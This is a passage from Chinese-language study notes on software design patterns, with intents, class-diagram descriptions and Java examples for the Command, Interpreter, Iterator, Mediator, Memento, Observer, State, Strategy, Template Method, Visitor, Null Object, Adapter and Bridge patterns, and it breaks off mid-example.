src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c44a0342-f405-4f17-b750-e27cf4aadde2.png"/> </div><br> ### Implementation 设计一个遥控器,可以控制电灯开关。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e6bded8e-41a0-489a-88a6-638e88ab7666.jpg"/> </div><br> ```java public interface Command { void execute(); } ``` ```java public class LightOnCommand implements Command { Light light; public LightOnCommand(Light light) { this.light = light; } @Override public void execute() { light.on(); } } ``` ```java public class LightOffCommand implements Command { Light light; public LightOffCommand(Light light) { this.light = light; } @Override public void execute() { light.off(); } } ``` ```java public class Light { public void on() { System.out.println("Light is on!"); } public void off() { System.out.println("Light is off!"); } } ``` ```java /** * 遥控器 */ public class Invoker { private Command[] onCommands; private Command[] offCommands; private final int slotNum = 7; public Invoker() { this.onCommands = new Command[slotNum]; this.offCommands = new Command[slotNum]; } public void setOnCommand(Command command, int slot) { onCommands[slot] = command; } public void setOffCommand(Command command, int slot) { offCommands[slot] = command; } public void onButtonWasPushed(int slot) { onCommands[slot].execute(); } public void offButtonWasPushed(int slot) { offCommands[slot].execute(); } } ``` ```java public class Client { public static void main(String[] args) { Invoker invoker = new Invoker(); Light light = new Light(); Command lightOnCommand = new LightOnCommand(light); Command lightOffCommand = new LightOffCommand(light); invoker.setOnCommand(lightOnCommand, 0); invoker.setOffCommand(lightOffCommand, 0); invoker.onButtonWasPushed(0); invoker.offButtonWasPushed(0); } } ``` ### JDK - [java.lang.Runnable](http://docs.oracle.com/javase/8/docs/api/java/lang/Runnable.html) - [Netflix Hystrix](https://github.com/Netflix/Hystrix/wiki) - [javax.swing.Action](http://docs.oracle.com/javase/8/docs/api/javax/swing/Action.html) ## 3. 解释器(Interpreter) ### Intent 为语言创建解释器,通常由语言的语法和语法分析来定义。 ### Class Diagram - TerminalExpression:终结符表达式,每个终结符都需要一个 TerminalExpression。 - Context:上下文,包含解释器之外的一些全局信息。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2b125bcd-1b36-43be-9b78-d90b076be549.png"/> </div><br> ### Implementation 以下是一个规则检验器实现,具有 and 和 or 规则,通过规则可以构建一颗解析树,用来检验一个文本是否满足解析树定义的规则。 例如一颗解析树为 D And (A Or (B C)),文本 "D A" 满足该解析树定义的规则。 这里的 Context 指的是 String。 ```java public abstract class Expression { public abstract boolean interpret(String str); } ``` ```java public class TerminalExpression extends Expression { private String literal = null; public TerminalExpression(String str) { literal = str; } public boolean interpret(String str) { StringTokenizer st = new StringTokenizer(str); while (st.hasMoreTokens()) { String test = st.nextToken(); if (test.equals(literal)) { return true; } } return false; } } ``` ```java public class AndExpression extends Expression { private Expression expression1 = null; private Expression expression2 = null; public AndExpression(Expression expression1, Expression expression2) { this.expression1 = expression1; this.expression2 = expression2; } public boolean interpret(String str) { return expression1.interpret(str) && expression2.interpret(str); } } ``` ```java public class OrExpression extends Expression { private Expression expression1 = null; private Expression expression2 = null; public OrExpression(Expression expression1, Expression expression2) { this.expression1 = expression1; this.expression2 = expression2; } public boolean interpret(String str) { return expression1.interpret(str) || expression2.interpret(str); } } ``` ```java public class Client { /** * 构建解析树 */ public static Expression buildInterpreterTree() { // Literal Expression terminal1 = new TerminalExpression("A"); Expression terminal2 = new TerminalExpression("B"); Expression terminal3 = new TerminalExpression("C"); Expression terminal4 = new TerminalExpression("D"); // B C Expression alternation1 = new OrExpression(terminal2, terminal3); // A Or (B C) Expression alternation2 = new OrExpression(terminal1, alternation1); // D And (A Or (B C)) return new AndExpression(terminal4, alternation2); } public static void main(String[] args) { Expression define = buildInterpreterTree(); String context1 = "D A"; String context2 = "A B"; System.out.println(define.interpret(context1)); System.out.println(define.interpret(context2)); } } ``` ```html true false ``` ### JDK - [java.util.Pattern](http://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html) - [java.text.Normalizer](http://docs.oracle.com/javase/8/docs/api/java/text/Normalizer.html) - All subclasses of [java.text.Format](http://docs.oracle.com/javase/8/docs/api/java/text/Format.html) - [javax.el.ELResolver](http://docs.oracle.com/javaee/7/api/javax/el/ELResolver.html) ## 4. 迭代器(Iterator) ### Intent 提供一种顺序访问聚合对象元素的方法,并且不暴露聚合对象的内部表示。 ### Class Diagram - Aggregate 是聚合类,其中 createIterator() 方法可以产生一个 Iterator; - Iterator 主要定义了 hasNext() 和 next() 方法。 - Client 组合了 Aggregate,为了迭代遍历 Aggregate,也需要组合 Iterator。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/89292ae1-5f13-44dc-b508-3f035e80bf89.png"/> </div><br> ### Implementation ```java public interface Aggregate { Iterator createIterator(); } ``` ```java public class ConcreteAggregate implements Aggregate { private Integer[] items; public ConcreteAggregate() { items = new Integer[10]; for (int i = 0; i < items.length; i++) { items[i] = i; } } @Override public Iterator createIterator() { return new ConcreteIterator<Integer>(items); } } ``` ```java public interface Iterator<Item> { Item next(); boolean hasNext(); } ``` ```java public class ConcreteIterator<Item> implements Iterator { private Item[] items; private int position = 0; public ConcreteIterator(Item[] items) { this.items = items; } @Override public Object next() { return items[position++]; } @Override public boolean hasNext() { return position < items.length; } } ``` ```java public class Client { public static void main(String[] args) { Aggregate aggregate = new ConcreteAggregate(); Iterator<Integer> iterator = aggregate.createIterator(); while (iterator.hasNext()) { System.out.println(iterator.next()); } } } ``` ### JDK - [java.util.Iterator](http://docs.oracle.com/javase/8/docs/api/java/util/Iterator.html) - [java.util.Enumeration](http://docs.oracle.com/javase/8/docs/api/java/util/Enumeration.html) ## 5. 中介者(Mediator) ### Intent 集中相关对象之间复杂的沟通和控制方式。 ### Class Diagram - Mediator:中介者,定义一个接口用于与各同事(Colleague)对象通信。 - Colleague:同事,相关对象 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/30d6e95c-2e3c-4d32-bf4f-68128a70bc05.png"/> </div><br> ### Implementation Alarm(闹钟)、CoffeePot(咖啡壶)、Calendar(日历)、Sprinkler(喷头)是一组相关的对象,在某个对象的事件产生时需要去操作其它对象,形成了下面这种依赖结构: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/82cfda3b-b53b-4c89-9fdb-26dd2db0cd02.jpg"/> </div><br> 使用中介者模式可以将复杂的依赖结构变成星形结构: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/5359cbf5-5a79-4874-9b17-f23c53c2cb80.jpg"/> </div><br> ```java public abstract class Colleague { public abstract void onEvent(Mediator mediator); } ``` ```java public class Alarm extends Colleague { @Override public void onEvent(Mediator mediator) { mediator.doEvent("alarm"); } public void doAlarm() { System.out.println("doAlarm()"); } } ``` ```java public class CoffeePot extends Colleague { @Override public void onEvent(Mediator mediator) { mediator.doEvent("coffeePot"); } public void doCoffeePot() { System.out.println("doCoffeePot()"); } } ``` ```java public class Calender extends Colleague { @Override public void onEvent(Mediator mediator) { mediator.doEvent("calender"); } public void doCalender() { System.out.println("doCalender()"); } } ``` ```java public class Sprinkler extends Colleague { @Override public void onEvent(Mediator mediator) { mediator.doEvent("sprinkler"); } public void doSprinkler() { System.out.println("doSprinkler()"); } } ``` ```java public abstract class Mediator { public abstract void doEvent(String eventType); } ``` ```java public class ConcreteMediator extends Mediator { private Alarm alarm; private CoffeePot coffeePot; private Calender calender; private Sprinkler sprinkler; public ConcreteMediator(Alarm alarm, CoffeePot coffeePot, Calender calender, Sprinkler sprinkler) { this.alarm = alarm; this.coffeePot = coffeePot; this.calender = calender; this.sprinkler = sprinkler; } @Override public void doEvent(String eventType) { switch (eventType) { case "alarm": doAlarmEvent(); break; case "coffeePot": doCoffeePotEvent(); break; case "calender": doCalenderEvent(); break; default: doSprinklerEvent(); } } public void doAlarmEvent() { alarm.doAlarm(); coffeePot.doCoffeePot(); calender.doCalender(); sprinkler.doSprinkler(); } public void doCoffeePotEvent() { // ... } public void doCalenderEvent() { // ... } public void doSprinklerEvent() { // ... } } ``` ```java public class Client { public static void main(String[] args) { Alarm alarm = new Alarm(); CoffeePot coffeePot = new CoffeePot(); Calender calender = new Calender(); Sprinkler sprinkler = new Sprinkler(); Mediator mediator = new ConcreteMediator(alarm, coffeePot, calender, sprinkler); // 闹钟事件到达,调用中介者就可以操作相关对象 alarm.onEvent(mediator); } } ``` ```java doAlarm() doCoffeePot() doCalender() doSprinkler() ``` ### JDK - All scheduleXXX() methods of [java.util.Timer](http://docs.oracle.com/javase/8/docs/api/java/util/Timer.html) - [java.util.concurrent.Executor#execute()](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executor.html#execute-java.lang.Runnable-) - submit() and invokeXXX() methods of [java.util.concurrent.ExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ExecutorService.html) - scheduleXXX() methods of [java.util.concurrent.ScheduledExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ScheduledExecutorService.html) - [java.lang.reflect.Method#invoke()](http://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Method.html#invoke-java.lang.Object-java.lang.Object...-) ## 6. 备忘录(Memento) ### Intent 在不违反封装的情况下获得对象的内部状态,从而在需要时可以将对象恢复到最初状态。 ### Class Diagram - Originator:原始对象 - Caretaker:负责保存好备忘录 - Menento:备忘录,存储原始对象的的状态。备忘录实际上有两个接口,一个是提供给 Caretaker 的窄接口:它只能将备忘录传递给其它对象;一个是提供给 Originator 的宽接口,允许它访问到先前状态所需的所有数据。理想情况是只允许 Originator 访问本备忘录的内部状态。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/50678f34-694f-45a4-91c6-34d985c83fee.png"/> </div><br> ### Implementation 以下实现了一个简单计算器程序,可以输入两个值,然后计算这两个值的和。备忘录模式允许将这两个值存储起来,然后在某个时刻用存储的状态进行恢复。 实现参考:[Memento Pattern - Calculator Example - Java Sourcecode](https://www.oodesign.com/memento-pattern-calculator-example-java-sourcecode.html) ```java /** * Originator Interface */ public interface Calculator { // Create Memento PreviousCalculationToCareTaker backupLastCalculation(); // setMemento void restorePreviousCalculation(PreviousCalculationToCareTaker memento); int getCalculationResult(); void setFirstNumber(int firstNumber); void setSecondNumber(int secondNumber); } ``` ```java /** * Originator Implementation */ public class CalculatorImp implements Calculator { private int firstNumber; private int secondNumber; @Override public PreviousCalculationToCareTaker backupLastCalculation() { // create a memento object used for restoring two numbers return new PreviousCalculationImp(firstNumber, secondNumber); } @Override public void restorePreviousCalculation(PreviousCalculationToCareTaker memento) { this.firstNumber = ((PreviousCalculationToOriginator) memento).getFirstNumber(); this.secondNumber = ((PreviousCalculationToOriginator) memento).getSecondNumber(); } @Override public int getCalculationResult() { // result is adding two numbers return firstNumber + secondNumber; } @Override public void setFirstNumber(int firstNumber) { this.firstNumber = firstNumber; } @Override public void setSecondNumber(int secondNumber) { this.secondNumber = secondNumber; } } ``` ```java /** * Memento Interface to Originator * * This interface allows the originator to restore its state */ public interface PreviousCalculationToOriginator { int getFirstNumber(); int getSecondNumber(); } ``` ```java /** * Memento interface to CalculatorOperator (Caretaker) */ public interface PreviousCalculationToCareTaker { // no operations permitted for the caretaker } ``` ```java /** * Memento Object Implementation * <p> * Note that this object implements both interfaces to Originator and CareTaker */ public class PreviousCalculationImp implements PreviousCalculationToCareTaker, PreviousCalculationToOriginator { private int firstNumber; private int secondNumber; public PreviousCalculationImp(int firstNumber, int secondNumber) { this.firstNumber = firstNumber; this.secondNumber = secondNumber; } @Override public int getFirstNumber() { return firstNumber; } @Override public int getSecondNumber() { return secondNumber; } } ``` ```java /** * CareTaker object */ public class Client { public static void main(String[] args) { // program starts Calculator calculator = new CalculatorImp(); // assume user enters two numbers calculator.setFirstNumber(10); calculator.setSecondNumber(100); // find result System.out.println(calculator.getCalculationResult()); // Store result of this calculation in case of error PreviousCalculationToCareTaker memento = calculator.backupLastCalculation(); // user enters a number calculator.setFirstNumber(17); // user enters a wrong second number and calculates result calculator.setSecondNumber(-290); // calculate result System.out.println(calculator.getCalculationResult()); // user hits CTRL + Z to undo last operation and see last result calculator.restorePreviousCalculation(memento); // result restored System.out.println(calculator.getCalculationResult()); } } ``` ```html 110 -273 110 ``` ### JDK - java.io.Serializable ## 7. 观察者(Observer) ### Intent 定义对象之间的一对多依赖,当一个对象状态改变时,它的所有依赖都会收到通知并且自动更新状态。 主题(Subject)是被观察的对象,而其所有依赖者(Observer)称为观察者。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7a3c6a30-c735-4edb-8115-337288a4f0f2.jpg" width="600"/> </div><br> ### Class Diagram 主题(Subject)具有注册和移除观察者、并通知所有观察者的功能,主题是通过维护一张观察者列表来实现这些操作的。 观察者(Observer)的注册功能需要调用主题的 registerObserver() 方法。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a8c8f894-a712-447c-9906-5caef6a016e3.png"/> </div><br> ### Implementation 天气数据布告板会在天气信息发生改变时更新其内容,布告板有多个,并且在将来会继续增加。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b1df9732-86ce-4d69-9f06-fba1db7b3b5a.jpg"/> </div><br> ```java public interface Subject { void registerObserver(Observer o); void removeObserver(Observer o); void notifyObserver(); } ``` ```java public class WeatherData implements Subject { private List<Observer> observers; private float temperature; private float humidity; private float pressure; public WeatherData() { observers = new ArrayList<>(); } public void setMeasurements(float temperature, float humidity, float pressure) { this.temperature = temperature; this.humidity = humidity; this.pressure = pressure; notifyObserver(); } @Override public void registerObserver(Observer o) { observers.add(o); } @Override public void removeObserver(Observer o) { int i = observers.indexOf(o); if (i >= 0) { observers.remove(i); } } @Override public void notifyObserver() { for (Observer o : observers) { o.update(temperature, humidity, pressure); } } } ``` ```java public interface Observer { void update(float temp, float humidity, float pressure); } ``` ```java public class StatisticsDisplay implements Observer { public StatisticsDisplay(Subject weatherData) { weatherData.reisterObserver(this); } @Override public void update(float temp, float humidity, float pressure) { System.out.println("StatisticsDisplay.update: " + temp + " " + humidity + " " + pressure); } } ``` ```java public class CurrentConditionsDisplay implements Observer { public CurrentConditionsDisplay(Subject weatherData) { weatherData.registerObserver(this); } @Override public void update(float temp, float humidity, float pressure) { System.out.println("CurrentConditionsDisplay.update: " + temp + " " + humidity + " " + pressure); } } ``` ```java public class WeatherStation { public static void main(String[] args) { WeatherData weatherData = new WeatherData(); CurrentConditionsDisplay currentConditionsDisplay = new CurrentConditionsDisplay(weatherData); StatisticsDisplay statisticsDisplay = new StatisticsDisplay(weatherData); weatherData.setMeasurements(0, 0, 0); weatherData.setMeasurements(1, 1, 1); } } ``` ```html CurrentConditionsDisplay.update: 0.0 0.0 0.0 StatisticsDisplay.update: 0.0 0.0 0.0 CurrentConditionsDisplay.update: 1.0 1.0 1.0 StatisticsDisplay.update: 1.0 1.0 1.0 ``` ### JDK - [java.util.Observer](http://docs.oracle.com/javase/8/docs/api/java/util/Observer.html) - [java.util.EventListener](http://docs.oracle.com/javase/8/docs/api/java/util/EventListener.html) - [javax.servlet.http.HttpSessionBindingListener](http://docs.oracle.com/javaee/7/api/javax/servlet/http/HttpSessionBindingListener.html) - [RxJava](https://github.com/ReactiveX/RxJava) ## 8. 状态(State) ### Intent 允许对象在内部状态改变时改变它的行为,对象看起来好像修改了它所属的类。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/79df886f-fdc3-4020-a07f-c991bb58e0d8.png"/> </div><br> ### Implementation 糖果销售机有多种状态,每种状态下销售机有不同的行为,状态可以发生转移,使得销售机的行为也发生改变。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg" width="600"/> </div><br> ```java public interface State { /** * 投入 25 分钱 */ void insertQuarter(); /** * 退回 25 分钱 */ void ejectQuarter(); /** * 转动曲柄 */ void turnCrank(); /** * 发放糖果 */ void dispense(); } ``` ```java public class HasQuarterState implements State { private GumballMachine gumballMachine; public HasQuarterState(GumballMachine gumballMachine) { this.gumballMachine = gumballMachine; } @Override public void insertQuarter() { System.out.println("You can't insert another quarter"); } @Override public void ejectQuarter() { System.out.println("Quarter returned"); gumballMachine.setState(gumballMachine.getNoQuarterState()); } @Override public void turnCrank() { System.out.println("You turned..."); gumballMachine.setState(gumballMachine.getSoldState()); } @Override public void dispense() { System.out.println("No gumball dispensed"); } } ``` ```java public class NoQuarterState implements State { GumballMachine gumballMachine; public NoQuarterState(GumballMachine gumballMachine) { this.gumballMachine = gumballMachine; } @Override public void insertQuarter() { System.out.println("You insert a quarter"); gumballMachine.setState(gumballMachine.getHasQuarterState()); } @Override public void ejectQuarter() { System.out.println("You haven't insert a quarter"); } @Override public void turnCrank() { System.out.println("You turned, but there's no quarter"); } @Override public void dispense() { System.out.println("You need to pay first"); } } ``` ```java public class SoldOutState implements State { GumballMachine gumballMachine; public SoldOutState(GumballMachine gumballMachine) { this.gumballMachine = gumballMachine; } @Override public void insertQuarter() { System.out.println("You can't insert a quarter, the machine is sold out"); } @Override public void ejectQuarter() { System.out.println("You can't eject, you haven't inserted a quarter yet"); } @Override public void turnCrank() { System.out.println("You turned, but there are no gumballs"); } @Override public void dispense() { System.out.println("No gumball dispensed"); } } ``` ```java public class SoldState implements State { GumballMachine gumballMachine; public SoldState(GumballMachine gumballMachine) { this.gumballMachine = gumballMachine; } @Override public void insertQuarter() { System.out.println("Please wait, we're already giving you a gumball"); } @Override public void ejectQuarter() { System.out.println("Sorry, you already turned the crank"); } @Override public void turnCrank() { System.out.println("Turning twice doesn't get you another gumball!"); } @Override public void dispense() { gumballMachine.releaseBall(); if (gumballMachine.getCount() > 0) { gumballMachine.setState(gumballMachine.getNoQuarterState()); } else { System.out.println("Oops, out of gumballs"); gumballMachine.setState(gumballMachine.getSoldOutState()); } } } ``` ```java public class GumballMachine { private State soldOutState; private State noQuarterState; private State hasQuarterState; private State soldState; private State state; private int count = 0; public GumballMachine(int numberGumballs) { count = numberGumballs; soldOutState = new SoldOutState(this); noQuarterState = new NoQuarterState(this); hasQuarterState = new HasQuarterState(this); soldState = new SoldState(this); if (numberGumballs > 0) { state = noQuarterState; } else { state = soldOutState; } } public void insertQuarter() { state.insertQuarter(); } public void ejectQuarter() { state.ejectQuarter(); } public void turnCrank() { state.turnCrank(); state.dispense(); } public void setState(State state) { this.state = state; } public void releaseBall() { System.out.println("A gumball comes rolling out the slot..."); if (count != 0) { count -= 1; } } public State getSoldOutState() { return soldOutState; } public State getNoQuarterState() { return noQuarterState; } public State getHasQuarterState() { return hasQuarterState; } public State getSoldState() { return soldState; } public int getCount() { return count; } } ``` ```java public class Client { public static void main(String[] args) { GumballMachine gumballMachine = new GumballMachine(5); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.ejectQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.ejectQuarter(); gumballMachine.insertQuarter(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); } } ``` ```html You insert a quarter You turned... A gumball comes rolling out the slot... You insert a quarter Quarter returned You turned, but there's no quarter You need to pay first You insert a quarter You turned... A gumball comes rolling out the slot... You insert a quarter You turned... A gumball comes rolling out the slot... You haven't insert a quarter You insert a quarter You can't insert another quarter You turned... A gumball comes rolling out the slot... You insert a quarter You turned... A gumball comes rolling out the slot... Oops, out of gumballs You can't insert a quarter, the machine is sold out You turned, but there are no gumballs No gumball dispensed ``` ## 9. 策略(Strategy) ### Intent 定义一系列算法,封装每个算法,并使它们可以互换。 策略模式可以让算法独立于使用它的客户端。 ### Class Diagram - Strategy 接口定义了一个算法族,它们都实现了 behavior() 方法。 - Context 是使用到该算法族的类,其中的 doSomething() 方法会调用 behavior(),setStrategy(Strategy) 方法可以动态地改变 strategy 对象,也就是说能动态地改变 Context 所使用的算法。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/cd1be8c2-755a-4a66-ad92-2e30f8f47922.png"/> </div><br> ### 与状态模式的比较 状态模式的类图和策略模式类似,并且都是能够动态改变对象的行为。但是状态模式是通过状态转移来改变 Context 所组合的 State 对象,而策略模式是通过 Context 本身的决策来改变组合的 Strategy 对象。所谓的状态转移,是指 Context 在运行过程中由于一些条件发生改变而使得 State 对象发生改变,注意必须要是在运行过程中。 状态模式主要是用来解决状态转移的问题,当状态发生转移了,那么 Context 对象就会改变它的行为;而策略模式主要是用来封装一组可以互相替代的算法族,并且可以根据需要动态地去替换 Context 使用的算法。 ### Implementation 设计一个鸭子,它可以动态地改变叫声。这里的算法族是鸭子的叫声行为。 ```java public interface QuackBehavior { void quack(); } ``` ```java public class Quack implements QuackBehavior { @Override public void quack() { System.out.println("quack!"); } } ``` ```java public class Squeak implements QuackBehavior{ @Override public void quack() { System.out.println("squeak!"); } } ``` ```java public class Duck { private QuackBehavior quackBehavior; public void performQuack() { if (quackBehavior != null) { quackBehavior.quack(); } } public void setQuackBehavior(QuackBehavior quackBehavior) { this.quackBehavior = quackBehavior; } } ``` ```java public class Client { public static void main(String[] args) { Duck duck = new Duck(); duck.setQuackBehavior(new Squeak()); duck.performQuack(); duck.setQuackBehavior(new Quack()); duck.performQuack(); } } ``` ```html squeak! quack! ``` ### JDK - java.util.Comparator#compare() - javax.servlet.http.HttpServlet - javax.servlet.Filter#doFilter() ## 10. 模板方法(Template Method) ### Intent 定义算法框架,并将一些步骤的实现延迟到子类。 通过模板方法,子类可以重新定义算法的某些步骤,而不用改变算法的结构。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ac6a794b-68c0-486c-902f-8d988eee5766.png"/> </div><br> ### Implementation 冲咖啡和冲茶都有类似的流程,但是某些步骤会有点不一样,要求复用那些相同步骤的代码。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/11236498-1417-46ce-a1b0-e10054256955.png"/> </div><br> ```java public abstract class CaffeineBeverage { final void prepareRecipe() { boilWater(); brew(); pourInCup(); addCondiments(); } abstract void brew(); abstract void addCondiments(); void boilWater() { System.out.println("boilWater"); } void pourInCup() { System.out.println("pourInCup"); } } ``` ```java public class Coffee extends CaffeineBeverage { @Override void brew() { System.out.println("Coffee.brew"); } @Override void addCondiments() { System.out.println("Coffee.addCondiments"); } } ``` ```java public class Tea extends CaffeineBeverage { @Override void brew() { System.out.println("Tea.brew"); } @Override void addCondiments() { System.out.println("Tea.addCondiments"); } } ``` ```java public class Client { public static void main(String[] args) { CaffeineBeverage caffeineBeverage = new Coffee(); caffeineBeverage.prepareRecipe(); System.out.println("-----------"); caffeineBeverage = new Tea(); caffeineBeverage.prepareRecipe(); } } ``` ```html boilWater Coffee.brew pourInCup Coffee.addCondiments ----------- boilWater Tea.brew pourInCup Tea.addCondiments ``` ### JDK - java.util.Collections#sort() - java.io.InputStream#skip() - java.io.InputStream#read() - java.util.AbstractList#indexOf() ## 11. 访问者(Visitor) ### Intent 为一个对象结构(比如组合结构)增加新能力。 ### Class Diagram - Visitor:访问者,为每一个 ConcreteElement 声明一个 visit 操作 - ConcreteVisitor:具体访问者,存储遍历过程中的累计结果 - ObjectStructure:对象结构,可以是组合结构,或者是一个集合。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/79c6f036-bde6-4393-85a3-ef36a0327bd2.png"/> </div><br> ### Implementation ```java public interface Element { void accept(Visitor visitor); } ``` ```java class CustomerGroup { private List<Customer> customers = new ArrayList<>(); void accept(Visitor visitor) { for (Customer customer : customers) { customer.accept(visitor); } } void addCustomer(Customer customer) { customers.add(customer); } } ``` ```java public class Customer implements Element { private String name; private List<Order> orders = new ArrayList<>(); Customer(String name) { this.name = name; } String getName() { return name; } void addOrder(Order order) { orders.add(order); } public void accept(Visitor visitor) { visitor.visit(this); for (Order order : orders) { order.accept(visitor); } } } ``` ```java public class Order implements Element { private String name; private List<Item> items = new ArrayList(); Order(String name) { this.name = name; } Order(String name, String itemName) { this.name = name; this.addItem(new Item(itemName)); } String getName() { return name; } void addItem(Item item) { items.add(item); } public void accept(Visitor visitor) { visitor.visit(this); for (Item item : items) { item.accept(visitor); } } } ``` ```java public class Item implements Element { private String name; Item(String name) { this.name = name; } String getName() { return name; } public void accept(Visitor visitor) { visitor.visit(this); } } ``` ```java public interface Visitor { void visit(Customer customer); void visit(Order order); void visit(Item item); } ``` ```java public class GeneralReport implements Visitor { private int customersNo; private int ordersNo; private int itemsNo; public void visit(Customer customer) { System.out.println(customer.getName()); customersNo++; } public void visit(Order order) { System.out.println(order.getName()); ordersNo++; } public void visit(Item item) { System.out.println(item.getName()); itemsNo++; } public void displayResults() { System.out.println("Number of customers: " + customersNo); System.out.println("Number of orders: " + ordersNo); System.out.println("Number of items: " + itemsNo); } } ``` ```java public class Client { public static void main(String[] args) { Customer customer1 = new Customer("customer1"); customer1.addOrder(new Order("order1", "item1")); customer1.addOrder(new Order("order2", "item1")); customer1.addOrder(new Order("order3", "item1")); Order order = new Order("order_a"); order.addItem(new Item("item_a1")); order.addItem(new Item("item_a2")); order.addItem(new Item("item_a3")); Customer customer2 = new Customer("customer2"); customer2.addOrder(order); CustomerGroup customers = new CustomerGroup(); customers.addCustomer(customer1); customers.addCustomer(customer2); GeneralReport visitor = new GeneralReport(); customers.accept(visitor); visitor.displayResults(); } } ``` ```html customer1 order1 item1 order2 item1 order3 item1 customer2 order_a item_a1 item_a2 item_a3 Number of customers: 2 Number of orders: 4 Number of items: 6 ``` ### JDK - javax.lang.model.element.Element and javax.lang.model.element.ElementVisitor - javax.lang.model.type.TypeMirror and javax.lang.model.type.TypeVisitor ## 12. 空对象(Null) ### Intent 使用什么都不做的空对象来代替 NULL。 一个方法返回 NULL,意味着方法的调用端需要去检查返回值是否是 NULL,这么做会导致非常多的冗余的检查代码。并且如果某一个调用端忘记了做这个检查返回值,而直接使用返回的对象,那么就有可能抛出空指针异常。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/22870bbe-898f-4c17-a31a-d7c5ee5d1c10.png"/> </div><br> ### Implementation ```java public abstract class AbstractOperation { abstract void request(); } ``` ```java public class RealOperation extends AbstractOperation { @Override void request() { System.out.println("do something"); } } ``` ```java public class NullOperation extends AbstractOperation{ @Override void request() { // do nothing } } ``` ```java public class Client { public static void main(String[] args) { AbstractOperation abstractOperation = func(-1); abstractOperation.request(); } public static AbstractOperation func(int para) { if (para < 0) { return new NullOperation(); } return new RealOperation(); } } ``` # 四、结构型 ## 1. 适配器(Adapter) ### Intent 把一个类接口转换成另一个用户需要的接口。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/3d5b828e-5c4d-48d8-a440-281e4a8e1c92.png"/> </div><br> ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ff5152fc-4ff3-44c4-95d6-1061002c364a.png"/> </div><br> ### Implementation 鸭子(Duck)和火鸡(Turkey)拥有不同的叫声,Duck 的叫声调用 quack() 方法,而 Turkey 调用 gobble() 方法。 要求将 Turkey 的 gobble() 方法适配成 Duck 的 quack() 方法,从而让火鸡冒充鸭子! ```java public interface Duck { void quack(); } ``` ```java public interface Turkey { void gobble(); } ``` ```java public class WildTurkey implements Turkey { @Override public void gobble() { System.out.println("gobble!"); } } ``` ```java public class TurkeyAdapter implements Duck { Turkey turkey; public TurkeyAdapter(Turkey turkey) { this.turkey = turkey; } @Override public void quack() { turkey.gobble(); } } ``` ```java public class Client { public static void main(String[] args) { Turkey turkey = new WildTurkey(); Duck duck = new TurkeyAdapter(turkey); duck.quack(); } } ``` ### JDK - [java.util.Arrays#asList()](http://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#asList%28T...%29) - [java.util.Collections#list()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#list-java.util.Enumeration-) - [java.util.Collections#enumeration()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#enumeration-java.util.Collection-) - [javax.xml.bind.annotation.adapters.XMLAdapter](http://docs.oracle.com/javase/8/docs/api/javax/xml/bind/annotation/adapters/XmlAdapter.html#marshal-BoundType-) ## 2. 桥接(Bridge) ### Intent 将抽象与实现分离开来,使它们可以独立变化。 ### Class Diagram - Abstraction:定义抽象类的接口 - Implementor:定义实现类接口 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2a1f8b0f-1dd7-4409-b177-a381c58066ad.png"/> </div><br> ### Implementation RemoteControl 表示遥控器,指代 Abstraction。 TV 表示电视,指代 Implementor。 桥接模式将遥控器和电视分离开来,从而可以独立改变遥控器或者电视的实现。 ```java public abstract class TV { public abstract void on(); public abstract void off(); public abstract void tuneChannel(); } ``` ```java public class Sony extends TV { @Override public void on() { System.out.println("Sony.on()"); } @Override public void off() { System.out.println("Sony.off()"); } @Override public void tuneChannel() { System.out.println("Sony.tuneChannel()"); } } ``` ```java public class RCA extends TV { @Override public void on() { System.out.println("RCA.on()"); } @Override public void off() { System.out.println("RCA.off()"); } @Override public void tuneChannel() { System.out.println("RCA.tuneChannel()"); } } ``` ```java public abstract class RemoteControl { protected TV tv; public RemoteControl(TV tv) { this.tv = tv; } public abstract void on(); public abstract void off(); public abstract void tuneChannel(); } ``` ```java public class ConcreteRemoteControl1 extends RemoteControl { public 